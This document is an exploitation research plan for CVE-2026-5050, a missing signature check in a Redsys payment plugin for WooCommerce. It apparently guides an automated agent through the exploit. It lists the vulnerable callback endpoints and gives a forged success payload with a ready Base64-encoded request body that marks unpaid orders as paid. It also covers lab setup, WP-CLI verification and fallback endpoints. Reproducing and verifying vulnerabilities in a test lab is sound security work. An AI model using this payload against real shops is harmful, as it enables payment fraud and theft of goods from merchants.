Exploitation Research Plan - CVE-2026-5050

1. Vulnerability Summary

The Payment Gateway for Redsys & WooCommerce Lite plugin (up to v7.0.0) is vulnerable to Improper Verification of Cryptographic Signature. The plugin includes several gateway classes (WC_Gateway_Redsys, WC_Gateway_Bizum_Redsys, and WC_Gateway_GooglePay_Redirection_Redsys) that handle asynchronous payment notifications (IPN/callbacks) from the Redsys payment processor.

The vulnerability exists because the successful_request() and check_ipn_response() handlers calculate a local expected signature but fail to actually compare it against the Ds_Signature provided in the HTTP request. Consequently, an unauthenticated attacker can submit a forged POST request containing validly formatted Ds_MerchantParameters (JSON encoded in Base64) to the callback endpoint, and the plugin will process it as a successful payment, marking a pending WooCommerce order as "Paid" (Processing/Completed).

2. Attack Vector Analysis

• Endpoint: The WooCommerce API callback URL.
  • Redsys: /?wc-api=WC_Gateway_redsys
  • Bizum: /?wc-api=WC_Gateway_bizumredsys
  • Google Pay: /?wc-api=WC_Gateway_googlepayredirecredsys
• HTTP Method: POST
• Authentication: Unauthenticated.
• Payload Parameters:
  • Ds_Signature: Any string (since verification is skipped).
  • Ds_MerchantParameters: A Base64-encoded JSON object containing order details.
• Preconditions:
  • The attacker must know (or guess) a valid WooCommerce Order ID and the Order Amount.
  • The targeted gateway must be enabled in WooCommerce settings.

3. Code Flow

1. Entry Point: The plugin registers a listener for the WooCommerce API in the constructor (e.g., classes/class-wc-gateway-redsys.php):

   add_action( 'woocommerce_api_wc_gateway_' . $this->id, array( $this, 'check_ipn_response' ) );
   

2. Request Handling: When a request hits /?wc-api=WC_Gateway_redsys, check_ipn_response() is executed.
3. Data Extraction: The plugin extracts Ds_MerchantParameters and Ds_Signature from $_POST.
4. Processing: It decodes Ds_MerchantParameters (Base64 -> JSON) to retrieve the order ID (Ds_Order) and response code (Ds_Response).
5. Vulnerable Logic: In successful_request() (called after check_ipn_response validates the presence of parameters), the plugin performs logic to calculate what the signature should be using the configured merchant secret. However, it fails to perform the conditional check:
   if ($calculated_signature !== $request_signature) { wp_die('Signature Failure'); }
6. Sinks: Because the check is missing, the code proceeds to:
   • wc_get_order( $order_id )
   • $order->payment_complete() or $order->update_status( 'processing' ).

4. Nonce Acquisition Strategy

No Nonce Required.
Payment gateway IPN callbacks are designed for server-to-server communication. They rely on cryptographic signatures (Ds_Signature) rather than WordPress nonces or session cookies for security. Since the signature verification is the specific component that is broken, the endpoint is entirely unprotected.

5. Exploitation Strategy

The goal is to mark a "Pending Payment" order as "Processing" by forging a Redsys success callback.

Step 1: Prepare the JSON Payload

Construct a JSON object representing a successful Redsys transaction.

• Ds_Amount: Order total in cents (e.g., 10.50 becomes 1050).
• Ds_Order: The 12-character Redsys order ID. The plugin typically pads the WooCommerce Order ID with leading zeros (e.g., Order #123 becomes 000000000123).
• Ds_Response: Must be between 0000 and 0099 for success (use 0000).
• Ds_Currency: Usually 978 (EUR).

{
  "Ds_Amount": "1000",
  "Ds_Order": "000000000123",
  "Ds_Response": "0000",
  "Ds_Currency": "978",
  "Ds_MerchantCode": "999008881",
  "Ds_Terminal": "001",
  "Ds_TransactionType": "0"
}

Step 2: Encode the Payload

1. Minify the JSON.
2. Base64 encode the result to create the Ds_MerchantParameters string.

Step 3: Send the Forged Callback

Send a POST request to the Redsys callback endpoint using the http_request tool.

Example Request:

• URL: http://vulnerable-site.com/?wc-api=WC_Gateway_redsys
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:
  Ds_Signature=FORGED_SIGNATURE&Ds_MerchantParameters=eyJEc19BbW91bnQiOiIxMDAwIiwiRHNfT3JkZXIiOiIwMDAwMDAwMDAxMjMiLCJEc19SZXNwb25zZSI6IjAwMDAiLCJEc19DdXJyZW5jeSI6Ijk3OCIsIkRzX01lcmNoYW50Q29kZSI6Ijk5OTAwODg4MSIsIkRzX1Rlcm1pbmFsIjoiMDAxIiwiRHNfVHJhbnNhY3Rpb25UeXBlIjoiMCJ9

6. Test Data Setup

1. Configure Gateway: Enable the Redsys Lite gateway in WooCommerce (WooCommerce > Settings > Payments > Redsys Lite). Set a dummy "Merchant Secret" and "FUC" (Merchant Code).
2. Create Product: Create a simple product priced at 10.00.
3. Place Order: As a guest or customer, place an order for the product.
4. Capture ID: Record the resulting Order ID (e.g., 123) and verify the status is "Pending payment".

7. Expected Results

• The server should return a 200 OK (often with a response like "OK" or simply an empty body, depending on how Redsys expects the acknowledgement).
• The WooCommerce order note should show a status change from "Pending payment" to "Processing".
• The plugin's debug log (if enabled via $this->debug) will show that the IPN was processed without error.

8. Verification Steps

After sending the HTTP request, use WP-CLI to verify the order status:

wp wc order get 123 --field=status

Success Criteria: The command returns processing or completed instead of pending.

9. Alternative Approaches

If the redsys ID is not active, try the same payload against the Bizum or Google Pay endpoints:

• Bizum: /?wc-api=WC_Gateway_bizumredsys
• Google Pay: /?wc-api=WC_Gateway_googlepayredirecredsys

Note: Check if the plugin requires a specific Ds_MerchantData field to correlate with the WooCommerce "Order Key". If the plugin performs a lookup like get_order_by_key($params->Ds_MerchantData), you will need to extract the Order Key from the order metadata first:

wp post get 123 --field=_order_key

And include it in the JSON: "Ds_MerchantData": "wc_order_abc123...".